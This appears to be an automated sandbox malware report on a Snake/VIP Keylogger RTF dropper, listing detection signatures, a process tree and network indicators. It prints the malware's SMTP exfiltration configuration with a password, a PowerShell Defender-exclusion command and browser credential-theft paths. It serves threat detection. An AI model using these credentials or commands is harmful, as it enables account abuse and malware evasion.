Edit tour

Windows Analysis Report
Payment Slip.doc

Overview

General Information

Sample name:	Payment Slip.doc
Analysis ID:	1519173
MD5:	56fd8f0ced26a25748989b34f051f04c
SHA1:	d163c3303db9ee003173fcd1082bf9381282baf8
SHA256:	419e260eafabf9698076436238fca33bb4c44bc1aaa02f2187d37a121ca57c80
Tags:	docuser-abuse_ch
Infos:

Detection

Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Initial sample is an obfuscated RTF file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

Suricata IDS alerts for network traffic

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

.NET source code contains potential unpacker

.NET source code references suspicious native API functions

Adds a directory exclusion to Windows Defender

Contains functionality to capture screen (.Net source)

Contains functionality to log keystrokes (.Net Source)

Document exploit detected (process start blacklist hit)

Injects a PE file into a foreign processes

Installs new ROOT certificates

Machine Learning detection for dropped file

Office equation editor drops PE file

Office equation editor establishes network connection

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Sigma detected: Equation Editor Network Connection

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious Binary In User Directory Spawned From Office Application

Sigma detected: Suspicious Microsoft Office Child Process

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Office Equation Editor has been started

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w7x64

WINWORD.EXE (PID: 3268 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)

EQNEDT32.EXE (PID: 3360 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

vvndewepeter91026.exe (PID: 3524 cmdline: "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe" MD5: 42F2CE52A57E0D72EAC297A532354E42)

powershell.exe (PID: 3576 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe" MD5: EB32C070E658937AA9FA9F3AE629B2B8)

vvndewepeter91026.exe (PID: 3616 cmdline: "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe" MD5: 42F2CE52A57E0D72EAC297A532354E42)

EQNEDT32.EXE (PID: 3852 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: VIP Keylogger

{"Exfil Mode": "SMTP", "Email ID": "peterlog@gtpv.online", "Password": "7213575aceACE@@  ", "Host": "hosting2.ro.hostsailor.com", "Port": "587", "Version": "4.4"}

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "peterlog@gtpv.online", "Password": "7213575aceACE@@  ", "Host": "hosting2.ro.hostsailor.com", "Port": "587", "Version": "4.4"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Payment Slip.doc	INDICATOR_RTF_MalVer_Objects	Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.	ditekSHen	0xc641:$obj2: \objdata 0xc65b:$obj3: \objupdate 0xc619:$obj5: \objautlink

Memory Dumps

Source	Rule	Description	Author	Strings
00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000008.00000002.913113287.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2daa0:$a1: get_encryptedPassword 0x2e028:$a2: get_encryptedUsername 0x2d713:$a3: get_timePasswordChanged 0x2d82a:$a4: get_passwordField 0x2dab6:$a5: set_encryptedPassword 0x307d2:$a6: get_passwords 0x30b66:$a7: get_logins 0x307be:$a8: GetOutlookPasswords 0x30177:$a9: StartKeylogger 0x30abf:$a10: KeyLoggerEventArgs 0x30217:$a11: KeyLoggerEventArgsEventHandler
00000008.00000002.913786371.0000000002351000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000005.00000002.406724627.000000000369E000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xb26d0:$a1: get_encryptedPassword 0xb2c58:$a2: get_encryptedUsername 0xb2343:$a3: get_timePasswordChanged 0xb245a:$a4: get_passwordField 0xb26e6:$a5: set_encryptedPassword 0xb5402:$a6: get_passwords 0xb5796:$a7: get_logins 0xb53ee:$a8: GetOutlookPasswords 0xb4da7:$a9: StartKeylogger 0xb56ef:$a10: KeyLoggerEventArgs 0xb4e47:$a11: KeyLoggerEventArgsEventHandler
00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000005.00000002.406724627.00000000034F9000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xbd9b8:$a1: get_encryptedPassword 0x1007d8:$a1: get_encryptedPassword 0xbdf40:$a2: get_encryptedUsername 0x100d60:$a2: get_encryptedUsername 0xbd62b:$a3: get_timePasswordChanged 0x10044b:$a3: get_timePasswordChanged 0xbd742:$a4: get_passwordField 0x100562:$a4: get_passwordField 0xbd9ce:$a5: set_encryptedPassword 0x1007ee:$a5: set_encryptedPassword 0xc06ea:$a6: get_passwords 0x10350a:$a6: get_passwords 0xc0a7e:$a7: get_logins 0x10389e:$a7: get_logins 0xc06d6:$a8: GetOutlookPasswords 0x1034f6:$a8: GetOutlookPasswords 0xc008f:$a9: StartKeylogger 0x102eaf:$a9: StartKeylogger 0xc09d7:$a10: KeyLoggerEventArgs 0x1037f7:$a10: KeyLoggerEventArgs 0xc012f:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: vvndewepeter91026.exe PID: 3524	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: vvndewepeter91026.exe PID: 3524	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: vvndewepeter91026.exe PID: 3524	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: vvndewepeter91026.exe PID: 3524	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3792e:$a1: get_encryptedPassword 0x91df9:$a1: get_encryptedPassword 0x37eac:$a2: get_encryptedUsername 0x92377:$a2: get_encryptedUsername 0x375b0:$a3: get_timePasswordChanged 0x91a7b:$a3: get_timePasswordChanged 0x376c7:$a4: get_passwordField 0x91b92:$a4: get_passwordField 0x37944:$a5: set_encryptedPassword 0x91e0f:$a5: set_encryptedPassword 0x3a608:$a6: get_passwords 0x94ad3:$a6: get_passwords 0x3a998:$a7: get_logins 0x94e63:$a7: get_logins 0x3a5f4:$a8: GetOutlookPasswords 0x94abf:$a8: GetOutlookPasswords 0x39fad:$a9: StartKeylogger 0x94478:$a9: StartKeylogger 0x3a8f1:$a10: KeyLoggerEventArgs 0x94dbc:$a10: KeyLoggerEventArgs 0x3a04d:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: vvndewepeter91026.exe PID: 3616	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: vvndewepeter91026.exe PID: 3616	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: vvndewepeter91026.exe PID: 3616	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: vvndewepeter91026.exe PID: 3616	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x5dce9:$a1: get_encryptedPassword 0x5e267:$a2: get_encryptedUsername 0x5d96b:$a3: get_timePasswordChanged 0x5da82:$a4: get_passwordField 0x5dcff:$a5: set_encryptedPassword 0x609c3:$a6: get_passwords 0x60d53:$a7: get_logins 0x609af:$a8: GetOutlookPasswords 0x60368:$a9: StartKeylogger 0x60cac:$a10: KeyLoggerEventArgs 0x60408:$a11: KeyLoggerEventArgsEventHandler
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
8.2.vvndewepeter91026.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
8.2.vvndewepeter91026.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
8.2.vvndewepeter91026.exe.400000.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
8.2.vvndewepeter91026.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
8.2.vvndewepeter91026.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2dca0:$a1: get_encryptedPassword 0x2e228:$a2: get_encryptedUsername 0x2d913:$a3: get_timePasswordChanged 0x2da2a:$a4: get_passwordField 0x2dcb6:$a5: set_encryptedPassword 0x309d2:$a6: get_passwords 0x30d66:$a7: get_logins 0x309be:$a8: GetOutlookPasswords 0x30377:$a9: StartKeylogger 0x30cbf:$a10: KeyLoggerEventArgs 0x30417:$a11: KeyLoggerEventArgsEventHandler
8.2.vvndewepeter91026.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b2c6:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3a969:$a3: \Google\Chrome\User Data\Default\Login Data 0x3abc6:$a4: \Orbitum\User Data\Default\Login Data 0x3b5a5:$a5: \Kometa\User Data\Default\Login Data
8.2.vvndewepeter91026.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2f064:$s1: UnHook 0x2f06b:$s2: SetHook 0x2f073:$s3: CallNextHook 0x2f080:$s4: _hook
5.2.vvndewepeter91026.exe.3588d18.7.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.vvndewepeter91026.exe.3588d18.7.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
5.2.vvndewepeter91026.exe.3588d18.7.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
5.2.vvndewepeter91026.exe.3588d18.7.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2bea0:$a1: get_encryptedPassword 0x2c428:$a2: get_encryptedUsername 0x2bb13:$a3: get_timePasswordChanged 0x2bc2a:$a4: get_passwordField 0x2beb6:$a5: set_encryptedPassword 0x2ebd2:$a6: get_passwords 0x2ef66:$a7: get_logins 0x2ebbe:$a8: GetOutlookPasswords 0x2e577:$a9: StartKeylogger 0x2eebf:$a10: KeyLoggerEventArgs 0x2e617:$a11: KeyLoggerEventArgsEventHandler
5.2.vvndewepeter91026.exe.3588d18.7.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x394c6:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x38b69:$a3: \Google\Chrome\User Data\Default\Login Data 0x38dc6:$a4: \Orbitum\User Data\Default\Login Data 0x397a5:$a5: \Kometa\User Data\Default\Login Data
5.2.vvndewepeter91026.exe.3588d18.7.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2d264:$s1: UnHook 0x2d26b:$s2: SetHook 0x2d273:$s3: CallNextHook 0x2d280:$s4: _hook
5.2.vvndewepeter91026.exe.3722a30.6.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.vvndewepeter91026.exe.3722a30.6.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
5.2.vvndewepeter91026.exe.3722a30.6.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
5.2.vvndewepeter91026.exe.3722a30.6.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2bea0:$a1: get_encryptedPassword 0x2c428:$a2: get_encryptedUsername 0x2bb13:$a3: get_timePasswordChanged 0x2bc2a:$a4: get_passwordField 0x2beb6:$a5: set_encryptedPassword 0x2ebd2:$a6: get_passwords 0x2ef66:$a7: get_logins 0x2ebbe:$a8: GetOutlookPasswords 0x2e577:$a9: StartKeylogger 0x2eebf:$a10: KeyLoggerEventArgs 0x2e617:$a11: KeyLoggerEventArgsEventHandler
5.2.vvndewepeter91026.exe.3722a30.6.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x394c6:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x38b69:$a3: \Google\Chrome\User Data\Default\Login Data 0x38dc6:$a4: \Orbitum\User Data\Default\Login Data 0x397a5:$a5: \Kometa\User Data\Default\Login Data
5.2.vvndewepeter91026.exe.3722a30.6.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2d264:$s1: UnHook 0x2d26b:$s2: SetHook 0x2d273:$s3: CallNextHook 0x2d280:$s4: _hook
5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2dca0:$a1: get_encryptedPassword 0x2e228:$a2: get_encryptedUsername 0x2d913:$a3: get_timePasswordChanged 0x2da2a:$a4: get_passwordField 0x2dcb6:$a5: set_encryptedPassword 0x309d2:$a6: get_passwords 0x30d66:$a7: get_logins 0x309be:$a8: GetOutlookPasswords 0x30377:$a9: StartKeylogger 0x30cbf:$a10: KeyLoggerEventArgs 0x30417:$a11: KeyLoggerEventArgsEventHandler
5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2f064:$s1: UnHook 0x2f06b:$s2: SetHook 0x2f073:$s3: CallNextHook 0x2f080:$s4: _hook
5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2dca0:$a1: get_encryptedPassword 0x70ac0:$a1: get_encryptedPassword 0x2e228:$a2: get_encryptedUsername 0x71048:$a2: get_encryptedUsername 0x2d913:$a3: get_timePasswordChanged 0x70733:$a3: get_timePasswordChanged 0x2da2a:$a4: get_passwordField 0x7084a:$a4: get_passwordField 0x2dcb6:$a5: set_encryptedPassword 0x70ad6:$a5: set_encryptedPassword 0x309d2:$a6: get_passwords 0x737f2:$a6: get_passwords 0x30d66:$a7: get_logins 0x73b86:$a7: get_logins 0x309be:$a8: GetOutlookPasswords 0x737de:$a8: GetOutlookPasswords 0x30377:$a9: StartKeylogger 0x73197:$a9: StartKeylogger 0x30cbf:$a10: KeyLoggerEventArgs 0x73adf:$a10: KeyLoggerEventArgs 0x30417:$a11: KeyLoggerEventArgsEventHandler
5.2.vvndewepeter91026.exe.3588d18.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2f064:$s1: UnHook 0x71e84:$s1: UnHook 0x2f06b:$s2: SetHook 0x71e8b:$s2: SetHook 0x2f073:$s3: CallNextHook 0x71e93:$s3: CallNextHook 0x2f080:$s4: _hook 0x71ea0:$s4: _hook
Click to see the 26 entries

Sigma Signatures

Exploits

Sigma detected: EQNEDT32.EXE connecting to internet

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 66.63.187.123, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 3360, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49161

Sigma detected: File Dropped By EQNEDT32EXE

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 3360, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\LLnsOpxxAnmWi[1].exe

System Summary

Sigma detected: Equation Editor Network Connection

Source: Network Connection

Author: Max Altgelt (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49161, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 3360, Protocol: tcp, SourceIp: 66.63.187.123, SourceIsIpv6: false, SourcePort: 80

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe", ParentImage: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe, ParentProcessId: 3524, ParentProcessName: vvndewepeter91026.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe", ProcessId: 3576, ProcessName: powershell.exe

Sigma detected: Suspicious Binary In User Directory Spawned From Office Application

Source: Process started

Author: Jason Lynch: Data: Command: "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe", CommandLine: "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe, NewProcessName: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe, OriginalFileName: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 3360, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe", ProcessId: 3524, ProcessName: vvndewepeter91026.exe

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe", CommandLine: "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe, NewProcessName: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe, OriginalFileName: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 3360, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe", ProcessId: 3524, ProcessName: vvndewepeter91026.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Source: DNS query

Author: Brandon George (blog post), Thomas Patzke: Data: Image: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe, QueryName: checkip.dyndns.org

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 3360, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe", ParentImage: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe, ParentProcessId: 3524, ParentProcessName: vvndewepeter91026.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vvndewepeter91026.exe", ProcessId: 3576, ProcessName: powershell.exe

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE, ProcessId: 3268, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3576, TargetFilename: C:\Users\user\AppData\Local\Temp\lvfoxrzz.mwb.ps1

Suricata Signatures

ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T07:47:20.416254+0200	2022050	1	A Network Trojan was detected	66.63.187.123	80	192.168.2.22	49161	TCP

ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T07:47:20.634853+0200	2022051	1	A Network Trojan was detected	66.63.187.123	80	192.168.2.22	49161	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T07:47:31.314304+0200	2803305	3	Unknown Traffic	192.168.2.22	49164	188.114.96.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T07:47:28.134204+0200	2803274	2	Potentially Bad Traffic	192.168.2.22	49162	132.226.8.169	80	TCP
2024-09-26T07:47:30.823828+0200	2803274	2	Potentially Bad Traffic	192.168.2.22	49162	132.226.8.169	80	TCP
2024-09-26T07:47:32.212268+0200	2803274	2	Potentially Bad Traffic	192.168.2.22	49165	193.122.6.168	80	TCP
2024-09-26T07:47:33.522644+0200	2803274	2	Potentially Bad Traffic	192.168.2.22	49167	158.101.44.242	80	TCP
2024-09-26T07:47:36.928631+0200	2803274	2	Potentially Bad Traffic	192.168.2.22	49169	193.122.130.0	80	TCP
2024-09-26T07:47:38.265128+0200	2803274	2	Potentially Bad Traffic	192.168.2.22	49169	193.122.130.0	80	TCP
2024-09-26T07:47:39.606636+0200	2803274	2	Potentially Bad Traffic	192.168.2.22	49171	132.226.247.73	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Payment Slip.doc

Avira: detected

Antivirus detection for URL or domain

Source: http://aborters.duckdns.org:8081	URL Reputation: Label: malware
Source: http://anotherarmy.dns.army:8081	URL Reputation: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Avira: detection malicious, Label: HEUR/AGEN.1308792
